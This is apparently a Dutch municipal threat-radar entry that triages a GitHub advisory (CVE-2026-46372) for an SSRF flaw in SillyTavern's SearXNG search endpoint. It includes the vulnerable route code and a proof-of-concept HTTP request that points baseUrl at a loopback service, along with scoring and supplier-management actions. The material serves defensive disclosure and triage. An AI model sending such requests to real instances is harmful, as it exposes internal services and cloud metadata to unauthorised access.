Gemeente Cyber Dreigingsradar
Kritiek
Terug naar het overzicht
HoogLeveranciersincidentGitHub Security Advisories

SillyTavern: SSRF in SearXNG Search Proxy via Unvalidated baseUrl

SillyTavern: SSRF in SearXNG Search Proxy via Unvalidated baseUrl

Prioriteit & onderbouwing

40 / 100

Prioriteit: Laag

Monitoren

Laag (40/100): monitoren. Zwaarst wegend: technische ernst en betrouwbaarheid van het signaal.

Threat Score65 / 100

verhoogd

  • Technische ernst (severity): Genormaliseerde ernst 'high'; geen CVSS-score beschikbaar.
Exploit Score10 / 100

laag

  • Geen exploit bekend: Er is geen exploit of actief misbruik bekend.
Municipal Relevance Score15 / 100

laag

  • Gemeentelijke relevantie: Relevantiescore 15/100 uit de relevantie-engine (module 5).
Action Urgency Score40 / 100

midden

  • Technische ernst: Threat Score 65/100 x gewicht 25%.
  • Exploitatie: Exploit Score 10/100 x gewicht 25%.
  • Gemeentelijke relevantie: Relevantiescore 15/100 x gewicht 22%.
  • Betrouwbaarheid van het signaal: Confidence 'likely' x gewicht 12%.
  • Blootstellingskans: Geschatte blootstelling 30% x gewicht 10%.
  • Betrouwbaarheid van de bron: Bronbetrouwbaarheid 88% x gewicht 6%.

De priority_score is de Action Urgency Score: een gewogen combinatie van de technische ernst, de exploitatie en de gemeentelijke relevantie.

Toelichting

## Resolution SillyTavern 1.18.0 added a generic server-side request filter (Private Request Whitelisting). Since we expect users to use the application in a trusted environment, the filter is disabled by default, however it is strongly advised to be enabled and properly configured when an instance is being hosted over a network, as suggested by a console warning message and an officially published security checklist for administrators. Documentation: - https://docs.sillytavern.app/administration/config-yaml/#private-address-whitelisting - https://docs.sillytavern.app/administration/#security-checklist ## Note on future SSRF findings Since the request filter applies to the entire application, no SSRF vulnerabilities against individual endpoints will be accepted, unless it has been proven that a properly configured and enabled filter can be bypassed in an undocumented way. Only advisories disclosed before the 1.18.0 release will be posted if their concern is SSRF. ## Summary SillyTavern 1.17.0 exposes `/api/search/searxng`, which accepts attacker-controlled `baseUrl` and uses it directly to build outbound server-side fetches. An authenticated low-privilege user can point `baseUrl` at an internal or loopback HTTP service and receive the `/search` response body. Confirmed version: SillyTavern 1.17.0 from the audited source tree. Broader affected versions and patched versions should be confirmed by the maintainer. ## Details The `/api/search/searxng` route in `src/endpoints/search.js` reads `baseUrl` from `request.body` and performs no allowlist, IP range, DNS, or scheme validation before making outbound requests. Core vulnerable path: ```js router.post('/searxng', async (request, response) => { const { baseUrl, query, preferences, categories } = request.body; if (!baseUrl || !query) { return response.status(400).send('Missing required parameters'); } const mainPageUrl = new URL(baseUrl); const mainPageRequest = await fetch(mainPageUrl, { headers: visitHeaders }); ... const searchUrl = new URL('/search', baseUrl); const searchParams = new URLSearchParams(); searchParams.append('q', query); ... const searchResult = await fetch(searchUrl, { headers: visitHeaders }); ... const data = await searchResult.text(); return response.send(data); }); ``` `src/server-startup.js` mounts this router at `/api/search`, and `src/server-main.js` applies login middleware before the API routes. This means the source is a remote authenticated POST request and the sink is server-side `fetch()` to attacker-selected hosts. ## PoC Attacker prerequisites: a valid SillyTavern web session, or access to a deployment where user accounts are disabled. Start an internal mock service on the target host: ```js import http from 'node:http'; http.createServer((req, res) => { if (req.url === '/') { res.writeHead(200, { 'Content-Type': 'text/html' }); return res.end(' '); } if (req.url === '/client.css') { res.writeHead(200, { 'Content-Type': 'text/css' }); return res.end('body{}'); } if (req.url.startsWith('/search?q=')) { res.writeHead(200, { 'Content-Type': 'text/plain' }); return res.end('INTERNAL-SEARCH-RESULT'); } res.writeHead(404); res.end('not found'); }).listen(9091, '127.0.0.1'); ``` Then send: ```http POST /api/search/searxng HTTP/1.1 Host: TARGET:8000 Cookie: session-...=... X-CSRF-Token: Content-Type: application/json {"baseUrl":"http://127.0.0.1:9091/","query":"x"} ``` Result based on the route logic: SillyTavern first fetches `http://127.0.0.1:9091/`, then fetches `http://127.0.0.1:9091/search?q=x`, and returns `INTERNAL-SEARCH-RESULT` to the attacker. ## Impact This is an authenticated SSRF primitive with arbitrary host and port selection. It can disclose responses from loopback or internal HTTP services reachable from the SillyTavern host and may enable interaction with internal admin panels, development services, cloud metadata endpoints in applicable deployments, or service discovery across private networks.

Onderbouwing van de classificatie

Categorie 'supplier_incident' overgenomen van de bron; geen specifieker incidenttype gedetecteerd. Severity 'high' bepaald op basis van: bronlabel 'high'. Confidence 'likely': gerenommeerd securityonderzoek (GitHub Security Advisories). Geen bekende leveranciers of producten herkend.

Kwetsbaarheden

CVE-2026-46372Prioriteitsscore 0.0 / 100
CVSS
EPSS
KEV
Nee
npm

Gemeentelijke relevantie

15

Deze dreiging scoort 15/100 voor de gemeentelijke relevantie. Meegewogen: een leveranciers- of ketenrisico. Geraakte processen: Netwerk en infrastructuur, Leveranciersketen.

Bestuurlijke duiding

Deze dreiging heeft een beperkte gemeentelijke relevantie. Omdat het een leverancier betreft, is de gemeente afhankelijk van diens herstel en is regie op de keten nodig. Reguliere opvolging door ICT-beheer en de ISO volstaat; bestuurlijke betrokkenheid is op dit moment niet nodig.

Geraakte processen

Netwerk en infrastructuurLeveranciersketen

Geraakte technologie

npmsillytavern

Betrokken rollen

CISO · ISO · SOC · ICT beheer · Leveranciersmanager

Operationele acties

  • Inventariseer welke koppelingen en gegevensstromen met de leverancier lopen.
  • Schakel waar nodig de koppeling met de leverancier tijdelijk uit.
  • Vraag bewijs van herstel op voordat de dienstverlening wordt hervat.

Concrete stappen voor ICT-beheer en het securityteam.

Aanbevolen acties

  • Breng in kaart welke leveranciers en koppelingen zijn geraakt.
  • Vraag de leverancier om een statusupdate en een herstelplan.
  • Beoordeel de impact op de eigen dienstverlening.

Dit zijn algemene handelingsperspectieven. Stem de opvolging af op de eigen omgeving en het ISMS van uw gemeente.

Kenmerken

Ernst
Hoog
Categorie
Leveranciersincident
Zekerheid
Waarschijnlijk
Status
Verrijkt
CVE's
CVE-2026-46372
Prioriteitsscore
40 / 100 · Laag
Bron
GitHub Security Advisories
Gepubliceerd
19 mei 2026

Labels

Supply chainOpensource
Originele publicatie